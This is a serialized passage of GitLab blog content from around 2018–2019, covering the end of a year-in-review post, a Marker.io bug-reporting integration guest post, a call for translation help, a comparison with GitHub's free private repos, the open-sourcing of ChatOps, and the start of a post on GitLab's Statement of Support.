href=\"https://twitter.com/hashtag/OSCON?src=hash&amp;ref_src=twsrc%5Etfw\">#OSCON\u003C/a>! Check out our brief history of OSS ✨ \u003Ca href=\"https://t.co/ox2s1rDS9f\">https://t.co/ox2s1rDS9f\u003C/a> \u003Ca href=\"https://t.co/LIdQtQWeoO\">pic.twitter.com/LIdQtQWeoO\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1018886162851811328?ref_src=twsrc%5Etfw\">July 16, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### And made GitLab Gold free for open source projects and educational institutions 🎉\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Today, we&#39;re excited to announce that GitLab Ultimate and Gold are now free for educational institutions and open source projects 💜\u003Ca href=\"https://t.co/5PA08IYnwM\">https://t.co/5PA08IYnwM\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1004033746897719298?ref_src=twsrc%5Etfw\">June 5, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### We celebrated inspiring GitLab users\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Video and blog about my journey from stunting motorcycles to \u003Ca href=\"https://twitter.com/hashtag/Kubernetes?src=hash&amp;ref_src=twsrc%5Etfw\">#Kubernetes\u003C/a> - and some gushing about my love for \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://t.co/ro73lucF7n\">https://t.co/ro73lucF7n\u003C/a>\u003C/p>&mdash; Leah Petersen (@eccomi_leah) \u003Ca href=\"https://twitter.com/eccomi_leah/status/1009894688906792960?ref_src=twsrc%5Etfw\">June 21, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### And there was lots of love for GitLab swag\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003C!-- first tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Thanks for the swag \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>. That&#39;s one reason to contribute 😃 \u003Ca href=\"https://t.co/58Z1PsGTen\">pic.twitter.com/58Z1PsGTen\u003C/a>\u003C/p>&mdash; Amit Rathi (@amittrathi) \u003Ca href=\"https://twitter.com/amittrathi/status/1074562107545272320?ref_src=twsrc%5Etfw\">December 17, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- second tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">It’s the first time that I receive a birthday gift from the company that I work for. It’s simple, small and modest... but it goes a long way. Thanks \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> I love them 😍👍🎉 \u003Ca href=\"https://t.co/AMCUdQevFu\">pic.twitter.com/AMCUdQevFu\u003C/a>\u003C/p>&mdash; Matej Latin (@matejlatin) \u003Ca href=\"https://twitter.com/matejlatin/status/1039473209291231232?ref_src=twsrc%5Etfw\">September 11, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">When it comes to swag, \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> has raised the bar. This is an actual wooden pin. More pins as swag please 😬 cheers \u003Ca href=\"https://twitter.com/samdbeckham?ref_src=twsrc%5Etfw\">@samdbeckham\u003C/a> \u003Ca href=\"https://t.co/bcZtvqAjPE\">pic.twitter.com/bcZtvqAjPE\u003C/a>\u003C/p>&mdash; Sophie Koonin (@type__error) \u003Ca href=\"https://twitter.com/type__error/status/1058105160176726017?ref_src=twsrc%5Etfw\">November 1, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Thank you to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> for the swag! Dear participants, we have many things for you 😁 \u003Ca href=\"https://t.co/9BINX4UbLD\">pic.twitter.com/9BINX4UbLD\u003C/a>\u003C/p>&mdash; TechForum eXplore (@TeXWL) \u003Ca href=\"https://twitter.com/TeXWL/status/1011652998953611268?ref_src=twsrc%5Etfw\">June 26, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">First package of swag for our CI/CD \u003Ca href=\"https://twitter.com/hashtag/Hackathon?src=hash&amp;ref_src=twsrc%5Etfw\">#Hackathon\u003C/a> arrived - yes: there will be \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> socks! 49 people RSVPed so far - it‘s gonna be epic! via \u003Ca href=\"https://twitter.com/MeetupDE?ref_src=twsrc%5Etfw\">@MeetupDE\u003C/a> \u003Ca href=\"https://t.co/fZtBd7VZRi\">https://t.co/fZtBd7VZRi\u003C/a> \u003Ca href=\"https://t.co/qyLbTeZN2t\">pic.twitter.com/qyLbTeZN2t\u003C/a>\u003C/p>&mdash; Michael Lihs (@kaktusmimi) \u003Ca href=\"https://twitter.com/kaktusmimi/status/970199201320665088?ref_src=twsrc%5Etfw\">March 4, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## GitLab news\n\n### We announced Series D funding and joined the 🦄 club\n\nIn September we [announced $100 million in Series D funding](/blog/announcing-100m-series-d-funding/), led by ICONIQ Capital. This brought our valuation to over $1 billion, and we couldn't be more excited to use this momentum to become best-in-class in every DevOps software category, from planning to monitoring.\n\n### We made #44 on the Inc. 5000 list\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">ICYMI: We made number 44 on the \u003Ca href=\"https://twitter.com/hashtag/inc5000?src=hash&amp;ref_src=twsrc%5Etfw\">#inc5000\u003C/a> list of 2018&#39;s fastest-growing companies 🎉: \u003Ca href=\"https://t.co/x3jBqItfVK\">https://t.co/x3jBqItfVK\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1032201460946268160?ref_src=twsrc%5Etfw\">August 22, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### We hung out IRL in beautiful Cape Town\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Good morning from Cape Town! It&#39;s Day 6 of the GitLab Summit 😍 \u003Ca href=\"https://t.co/WHvaSnKHM4\">pic.twitter.com/WHvaSnKHM4\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1034402765974450176?ref_src=twsrc%5Etfw\">August 28, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### We made #17 on YC's 2018 Top Companies list\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Feeling proud of everyone \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@GitLab\u003C/a>: as of October 2018, we are number 17 of the \u003Ca href=\"https://twitter.com/ycombinator?ref_src=twsrc%5Etfw\">@YCombinator\u003C/a> Top Companies List, among companies like Airbnb, Stripe, Dropbox, Reddit and Twitch \u003Ca href=\"https://t.co/UQZCaBAUeJ\">https://t.co/UQZCaBAUeJ\u003C/a> \u003Ca href=\"https://t.co/YUJbDhRSyq\">pic.twitter.com/YUJbDhRSyq\u003C/a>\u003C/p>&mdash; Pedro MS (@PedroMScom) \u003Ca href=\"https://twitter.com/PedroMScom/status/1068146315404763139?ref_src=twsrc%5Etfw\">November 29, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### And we debuted some 🔥 integrations\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Apple just announced Xcode 10 is now integrated with GitLab \u003Ca href=\"https://t.co/eQbtiY4IYm\">pic.twitter.com/eQbtiY4IYm\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1003764673454342144?ref_src=twsrc%5Etfw\">June 4, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We’re so excited to announce the new GKE integration for GitLab! Now you’re just moments away from a scalable development environment. \u003Ca href=\"https://t.co/4RRVOXlrwz\">https://t.co/4RRVOXlrwz\u003C/a> \u003Ca href=\"https://t.co/RSWwZDSPup\">pic.twitter.com/RSWwZDSPup\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/981916957527044096?ref_src=twsrc%5Etfw\">April 5, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n\nThat's all for now! We can't wait to see what 2019 will bring 🌟 As always, come hang out and tweet us your thoughts [@gitlab](https://twitter.com/gitlab).\n",[267,676,736,815],{"slug":30974,"featured":6,"template":678},"gitlab-2018-year-in-review","content:en-us:blog:gitlab-2018-year-in-review.yml","Gitlab 2018 Year In Review","en-us/blog/gitlab-2018-year-in-review.yml","en-us/blog/gitlab-2018-year-in-review",{"_path":30980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30981,"content":30987,"config":30993,"_id":30995,"_type":16,"title":30996,"_source":17,"_file":30997,"_stem":30998,"_extension":20},"/en-us/blog/marker-io-gitlab-integration",{"title":30982,"description":30983,"ogTitle":30982,"ogDescription":30983,"noIndex":6,"ogImage":30984,"ogUrl":30985,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30985,"schema":30986},"How to radically simplify bug reporting in GitLab","Marie Hargitt from Marker.io shares how product teams can empower colleagues to report actionable issues in GitLab, without driving developers crazy.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679899/Blog/Hero%20Images/gitlab-marker-io.png","https://about.gitlab.com/blog/marker-io-gitlab-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to radically simplify bug reporting in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marie Hargitt\"}],\n        \"datePublished\": \"2019-01-09\",\n      }",{"title":30982,"description":30983,"authors":30988,"heroImage":30984,"date":30990,"body":30991,"category":734,"tags":30992},[30989],"Marie Hargitt","2019-01-09","\n\nIf you’re like us, you’re constantly pushing out new features and improvements to your product, but with those updates and changes comes the inevitable risk of bugs. The best way to find and fix those bugs are your internal reporters and developers, but getting the whole team to report bugs into GitLab can be hard.\n\nWhether it’s your copywriters on the lookout for wonky content, your QA testers that find a broken form, designers that spot a font size five times too big, or your customer support team receiving word that a billing issue is blocking customers from paying – reporters can take forever to send actionable feedback to developers, who in turn don’t always get the information they need to smash those bugs.\n\n## What a bug-reporting workflow usually looks like ...\n\n### ... for reporters\n\nBecause reporters aren’t always super tech-savvy, it can be tricky for them to share reports that are helpful for your developers. The process is long, complicated, and tracking down the crucial technical information isn’t always easy.\n\nIn most teams, reporting bugs into GitLab looks like this:\n1. Find the bug.\n1. Open screenshot tool, capture bug.\n1. Open software to annotate screenshot, add comments.\n1. Open and log into GitLab.\n1. Select the correct project.\n1. Create new issue.\n1. Document the bug. (How exactly do I do this!?)\n1. Add technical information. (What is this even?)\n1. Attach screenshots.\n1. And then finally: submit report.\n\nThat’s a whopping 10 steps to report even the smallest bugs.\n\nAnd we didn’t even mention the super-fun scavenger hunt reporters have to go on to identify all of the environmental data developers need to even start thinking about fixing the bugs.\n\n### ... for developers\n\nDevelopers get feedback flying at them in all forms – emails, phone calls, sticky notes and screenshots.\n\nThey’re ready to gouge their eyes out because they can’t reproduce the reported bugs, because they’re not receiving actionable feedback from the get-go, and they don’t have time to investigate all the bug reports they receive.\n\n## So what can you do to make sure everyone can contribute?\n\n### Speed up workflow for reporters\n\nWe created Marker.io to speed up and simplify your team bug reporting. Now, those 10 steps are only three:\n\n1. Capture and annotate screenshot of bug.\n1. Send bug reports straight to your GitLab project.\n1. Keep hunting for more bugs!\n\nOne real-life example is an issue we ran into with our pricing page a while back. During our QA process, we noticed a weird bug: the price for our Team Plan was mysteriously missing. Instead of using the lengthy process mentioned earlier in this post, we used Marker.io to quickly send feedback to our dev team and get the bug fixed in no time.\n\nThis is what reporting the issue with Marker.io looked like:\n\n![Creating the bug report issue in GitLab](https://about.gitlab.com/images/blogimages/GitLab-creating-issue-Marker-io.gif){: .shadow.center.medium}\n\nNow, not only is the process much faster, but you never have to leave your website, there is nothing to configure, and all the technical data the developers need is automatically captured by Marker.io.\n\n### Create actionable reports for your developers\n\nOnce a visual feedback tool like Marker.io is introduced into the equation your developers can choose where they receive feedback, down to the specific bug-tracking GitLab project, and the important technical data they need is automatically grabbed and included in every bug report.\n\nThat means environment data, including:\n- Browser\n- Operating system (OS) and version\n- Screen size\n- Zoom level\n- Pixel ratio\n\nHere’s an example of what a Marker.io bug report looks like in GitLab:\n\n![The bug report issue inside GitLab](https://about.gitlab.com/images/blogimages/GitLab-issue-created-with-Marker-io.gif){: .shadow.center.medium}\n\nThis GitLab issue has all the information needed for your developers to act on it:\n\n- The issue is in the correct project.\n- Any pre-set epics, milestones or labels are included.\n- The issue is assigned to a team member.\n- The annotated screenshot is attached.\n- The expected and actual results are well documented.\n- The steps to reproduce are detailed.\n- The technical environment information is all there.\n- The issue has the URL where the screenshot was captured.\n- The issue has a due date.\n\nNo more wasted time following up with reporters to fill in the gaps. It’s all there, organized directly in your chosen GitLab project – complete with everything vital to fix your bugs.\n\nWant to try for yourself? Marker.io comes with a free 15-day trial. Give it go ➡️ [Marker.io/gitlab](https://marker.io/gitlab?utm_source=gitlab&utm_medium=post&utm_campaign=gitlab_bug_reporting)\n\n### About the guest author\n\nMarie Hargitt is the Marketing Manager of [Marker.io](https://marker.io/gitlab), a powerful tool that makes bug reporting and visual feedback easy for the whole team.\n",[2368,232,1444],{"slug":30994,"featured":6,"template":678},"marker-io-gitlab-integration","content:en-us:blog:marker-io-gitlab-integration.yml","Marker Io Gitlab Integration","en-us/blog/marker-io-gitlab-integration.yml","en-us/blog/marker-io-gitlab-integration",{"_path":31000,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31001,"content":31006,"config":31011,"_id":31013,"_type":16,"title":31014,"_source":17,"_file":31015,"_stem":31016,"_extension":20},"/en-us/blog/translating-gitlab",{"title":31002,"description":31003,"ogTitle":31002,"ogDescription":31003,"noIndex":6,"ogImage":19778,"ogUrl":31004,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31004,"schema":31005},"Help us speak your language!","GitLab is available in many languages, but there's always more translation work to be done. Here's how you can contribute to translating GitLab.","https://about.gitlab.com/blog/translating-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Help us speak your language!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-01-08\",\n      }",{"title":31002,"description":31003,"authors":31007,"heroImage":19778,"date":31008,"body":31009,"category":813,"tags":31010},[21623],"2019-01-08","\nOne of the lesser-known features of GitLab is that it has been translated into many languages by community members. If you have only seen GitLab in (American) English, you can go to your [Profile page](https://gitlab.com/profile) and change your **Preferred language** to see it in another language.\n\n![Selecting preferred language](https://about.gitlab.com/images/blogimages/translation-blog/preferred_language_chinese.png){: .shadow.small.center}\n\n![GitLab in Chinese](https://about.gitlab.com/images/blogimages/translation-blog/gitlab_in_chinese.png){: .shadow.small.center}\n\nWe are proud of the work done by so many dedicated community members to help translate GitLab, but this is ongoing work, and we also have many languages that are just getting started with translation. That's where you come in!\n\n## Why translate GitLab?\n\nSome may say that GitLab is used by technical people who are already used to using a lot of different software in English, and translation is not really necessary. That may be true, but having the software available in local languages that people are more comfortable with lowers the barrier to entry not only for users, but for contributors too. Maybe it's because GitLab is an [all-remote company](/blog/the-case-for-all-remote-companies/) with [employees in nearly 50 countries](/company/team/), but GitLab team-members appreciate the benefits of localized software in local communities.\n\n## How is GitLab translated and how do I start contributing?\n\nThe translation is managed at [translate.gitlab.com](https://translate.gitlab.com/) using [Crowdin](https://crowdin.com/). First, a phrase (e.g. one that appears in the GitLab user interface or in error messages) needs to be internationalized before it can be translated. The internationalized phrases are then made available for translations on [translate.gitlab.com](https://translate.gitlab.com/). As each phrase is translated, it is added to the translation file, and will then be merged into future releases. You can find more details on how GitLab is translated in the [Translate GitLab documentation](https://docs.gitlab.com/ee/development/i18n/).\n\nAs you can see in the [translation activity stream](https://translate.gitlab.com/project/gitlab-ee/activity_stream), the majority of translations are contributed by community members. You're probably already familar with GitLab's motto, \"Everyone can contribute,\" and contributing translation is even easier than contributing code.  All you need is an account on [CrowdIn](https://crowdin.com/) plus a browser, and you are ready to translate GitLab to a language of your choice. So if you're looking for ways to contribute and know other languages, translation is a great place to get started.\n\nDuring the [GitLab Hackathon](/community/hackathon/) in September, one of our [Core Team](/community/core-team/) members [Hannes Rosenögger](https://gitlab.com/haynes) presented a session on translation where he walked through how community members can contribute. You can watch the recording:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/LJ9oSSx0qyY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Where do we need help?\n\nAs you can see from the screenshot below, GitLab is almost fully translated into several languages, such as Chinese (both Simplifed and Traditional), French, German, Filipino, Brazilian Portuguese, Ukrainian, etc. However, many languages are in early stages, with a lot of translation left to be done and may also need [proofreaders](https://docs.gitlab.com/ee/development/i18n/proofreader.html) to help review and approve translations. You can find steps to becoming a proofreader also outlined in [the proofreader documentation](https://docs.gitlab.com/ee/development/i18n/proofreader.html#become-a-proofreader).\n\n![GitLab translation status](https://about.gitlab.com/images/blogimages/translation-blog/gitlab_translation_status.png){: .shadow.medium.center}\n\nEven if a language is fully translated today, new phrases are added all the time, so we welcome new contributors across all languages. If you have any questions as you get started on [translate.gitlab.com](https://translate.gitlab.com/), you can post questions on the [Crowdin discussions forum](https://translate.gitlab.com/project/gitlab-ee/discussions), and you are always welcome to reach me at rpaik@gitlab.com.\n\n[\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}\n",[267,2368,815,2704],{"slug":31012,"featured":6,"template":678},"translating-gitlab","content:en-us:blog:translating-gitlab.yml","Translating Gitlab","en-us/blog/translating-gitlab.yml","en-us/blog/translating-gitlab",{"_path":31018,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31019,"content":31024,"config":31030,"_id":31032,"_type":16,"title":31033,"_source":17,"_file":31034,"_stem":31035,"_extension":20},"/en-us/blog/github-offering-free-private-repos-for-up-to-three-collaborators",{"title":31020,"description":31021,"ogTitle":31020,"ogDescription":31021,"noIndex":6,"ogImage":12013,"ogUrl":31022,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31022,"schema":31023},"GitHub's free private repos: GitLab's perspective","GitLab's CEO reflects on this move and what it means for the software development space.","https://about.gitlab.com/blog/github-offering-free-private-repos-for-up-to-three-collaborators","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitHub now offers free private repos for up to three collaborators – here are our thoughts\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2019-01-07\",\n      }",{"title":31025,"description":31021,"authors":31026,"heroImage":12013,"date":31027,"body":31028,"category":299,"tags":31029},"GitHub now offers free private repos for up to three collaborators – here are our thoughts",[3532],"2019-01-07","\nGitHub just launched [free private repos with up to three collaborators](https://blog.github.com/2019-01-07-new-year-new-github/). I like to think that increased competition from us (GitLab) contributed to this change – as one Hacker News commenter stated, [\"Thank you GitLab for providing market competition forcing GitHub to consider this!\"](https://news.ycombinator.com/item?id=18848142)\n\n## Some history\n\nWhen we [originally announced GitLab.com](https://news.ycombinator.com/item?id=4428278) I made the main point that it would have private repos for free. I think it is great for beginner users that private repos on GitHub are now free.\nIf you're starting to program and aren't ready to share your code with the world yet, you don't have to have a paid account to keep it private.\n\nAt the time, I was very disappointed to learn that Bitbucket.org already offered the same. GitLab took off despite that and GitLab.com recently surpassed [10 million projects](https://twitter.com/gitlab/status/1075377374022262784) and in the [top dev tools ranking of Axosoft](https://blog.axosoft.com/top-developer-tools-2019/) GitLab climbed the ranks 4 spots and overtook GitHub for the first year.\n\n## Looking ahead\n\nAt GitLab we think that repositories will become a commodity. I think Microsoft will try to generate more revenue with people using Azure more instead of paying for repos. We're focusing on making a single application for the entire DevOps lifecycle [that can replace a lot of other tools](/competition/). Or, [as Stavros Korokithakis phrased it](https://news.ycombinator.com/item?id=18848066): \"My move to GitLab was basically 'Come for the free repos, stay for the rest of the amazing features.' I will not be moving off it, and my new repos will keep being on GitLab.\"\n\nWe think the long-term trend is [multi-cloud](https://medium.com/gitlab-magazine/multi-cloud-maturity-model-2de185c01dd7) and we'll keep shipping with our [2,200 other contributors](http://contributors.gitlab.com/) to make this a reality.\n\nIn the meantime, here are some more details of our current GitLab free private repository offering vs GitHub's:\n\n| Free functionality                  | GitLab    | GitHub                                    |\n|--------------------------|-----------|-------------------------------------------|\n| Private repositories     | Yes       | Yes                                       |\n| Number of collaborators  | Unlimited | 3                                         |\n| Wiki                     | Yes       | No (public or paid only)                  |\n| Pages                    | Yes       | No (public or paid only)                  |\n| Capacity                 | 10GB      | 1GB                                       |\n| [Indicates who is paying](https://twitter.com/rgaiacs/status/1082581763745083392)  | No        | Yes                                 |\n| Free CI                 | 2,000 min.     | Maybe a free tier for Actions on Azure                              |\n| [Entire DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) | Yes | No |\n| Location of the repo | Anywhere | Not in groups/orgs |\n| API concurrent rate limit | 36000 | 5000 |\n\nSign up for a [free trial](https://about.gitlab.com/pricing/#gitlab-com)\n",[736,815],{"slug":31031,"featured":6,"template":678},"github-offering-free-private-repos-for-up-to-three-collaborators","content:en-us:blog:github-offering-free-private-repos-for-up-to-three-collaborators.yml","Github Offering Free Private Repos For Up To Three Collaborators","en-us/blog/github-offering-free-private-repos-for-up-to-three-collaborators.yml","en-us/blog/github-offering-free-private-repos-for-up-to-three-collaborators",{"_path":31037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31038,"content":31044,"config":31049,"_id":31051,"_type":16,"title":31052,"_source":17,"_file":31053,"_stem":31054,"_extension":20},"/en-us/blog/gitlab-chatops-will-become-available-to-everyone",{"title":31039,"description":31040,"ogTitle":31039,"ogDescription":31040,"noIndex":6,"ogImage":31041,"ogUrl":31042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31042,"schema":31043},"We're making GitLab ChatOps available to everyone!","As a holiday gift, the ChatOps functionality in GitLab will be open sourced","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679978/Blog/Hero%20Images/holiday-gift.jpg","https://about.gitlab.com/blog/gitlab-chatops-will-become-available-to-everyone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're making GitLab ChatOps available to everyone!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2018-12-24\",\n      }",{"title":31039,"description":31040,"authors":31045,"heroImage":31041,"date":31046,"body":31047,"category":299,"tags":31048},[3532],"2018-12-24","\n\nGitLab is an open-core project that has both open-source and source-available code.\nThe [likely type of buyer determines which tier a feature goes into](/company/pricing/#the-likely-type-of-buyer-determines-what-features-go-in-what-tier).\nIf the buyer for a feature is an individual contributor, we [promise to open-source it](/company/stewardship/#what-features-are-paid-only).\n\nWe don't always get this classification right. When something that is already open source should be source-available, we leave it open source — and when something should be open-source, we fix it.\n\nThe latter is the case for [GitLab ChatOps](https://docs.gitlab.com/ee/ci/chatops/). ChatOps lets you run commands from chat (right now Slack and Mattermost are supported). Running these commands in a channel allow everyone to be on the same page about what happened. We use it in production, for example to publish and deploy GitLab and to run database queries:\n\n![alt text](https://about.gitlab.com/images/blogimages/chatops.png \"Logo Title Text 1\")\n\nWe discovered that the people that care most about this feature are individual contributors, so we'll open source this feature in GitLab 11.9.\n\nThe ChatOps market has not taken off the way that many of us (including myself) predicted.\nThe first ChatOps client was Hubot and its popularity [has dwindled since 2015](https://trends.google.com/trends/explore?date=all&geo=US&q=hubot).\nI was really excited for the next generation of ChatOps provided by [the Cog project](https://github.com/operable/cog), but the company behind this initiative [had to wind down](https://blog.operable.io/cog-marches-on-8956b4fb74fe).\n\nIn talking with industry experts, I think there are five ingredients needed to make ChatOps successful:\n\n1. Monitoring: ChatOps is great for troubleshooting together, so it should be easy to show a graph.\n1. Queryability: allow a parameter, for example a SQL command to run, or to show a graph of a specific server. \n1. Permissions: People should have different levels of access, preferably [Role Based Access Control (RBAC)](https://en.wikipedia.org/wiki/Role-based_access_control).\n1. Zero-config: You should have access to a lot of functionality without any setup required. \n1. Consistency: ChatOps should work the same throughout the organization.\n\nI think monitoring and queryability were innovations in Hubot. In Hubot anyone with access could do anything, this was fixed when Cog added permissions. GitLab adds zero-config and consistency so that everything works out of the box. Things are able to work out of the box in GitLab because it is a single application for the entire DevOps lifecycle. GitLab knows how to deploy an application with [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/). In GitLab you have [monitoring](https://docs.gitlab.com/ee/administration/monitoring/) with metrics and tracing.\n\nCurrently the functionality in ChatOps doesn't have commands for deployments and metrics by default. We hope that open-sourcing the functionality will enourage more use of ChatOps and more contributions to it.\n\nThe wider community has become more active this year, with more than 150 contributions to all different parts of GitLab in the last release.\n\nFor this we are most grateful.\nHappy holidays!\n",[267],{"slug":31050,"featured":6,"template":678},"gitlab-chatops-will-become-available-to-everyone","content:en-us:blog:gitlab-chatops-will-become-available-to-everyone.yml","Gitlab Chatops Will Become Available To Everyone","en-us/blog/gitlab-chatops-will-become-available-to-everyone.yml","en-us/blog/gitlab-chatops-will-become-available-to-everyone",{"_path":31056,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31057,"content":31063,"config":31069,"_id":31071,"_type":16,"title":31072,"_source":17,"_file":31073,"_stem":31074,"_extension":20},"/en-us/blog/introducing-our-statement-of-support",{"title":31058,"description":31059,"ogTitle":31058,"ogDescription":31059,"noIndex":6,"ogImage":31060,"ogUrl":31061,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31061,"schema":31062},"Introducing our Statement of Support","Our Statement of Support defines how and what we support in terms of our products, services, and applications. Here's an explainer on what you can expect from us.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678875/Blog/Hero%20Images/support-series-cover.png","https://about.gitlab.com/blog/introducing-our-statement-of-support","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing our Statement of Support\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tom Cooney\"}],\n        \"datePublished\": \"2018-12-20\",\n      }",{"title":31058,"description":31059,"authors":31064,"heroImage":31060,"date":31066,"body":31067,"category":299,"tags":31068},[31065],"Tom Cooney","2018-12-20","\n\nRecently, our team released an update to our [support page](/support/), with a new Statement of Support. This is a document defining how and what we support in terms of our products, services, and applications. Many of the policies defined in this document have existed before, and nearly all of it was what we practiced all along. However, we wanted to be clearer on our policies and stricter in practicing them to ensure we're providing the best level of support to our customers and the community.\n\nI want to cover two areas 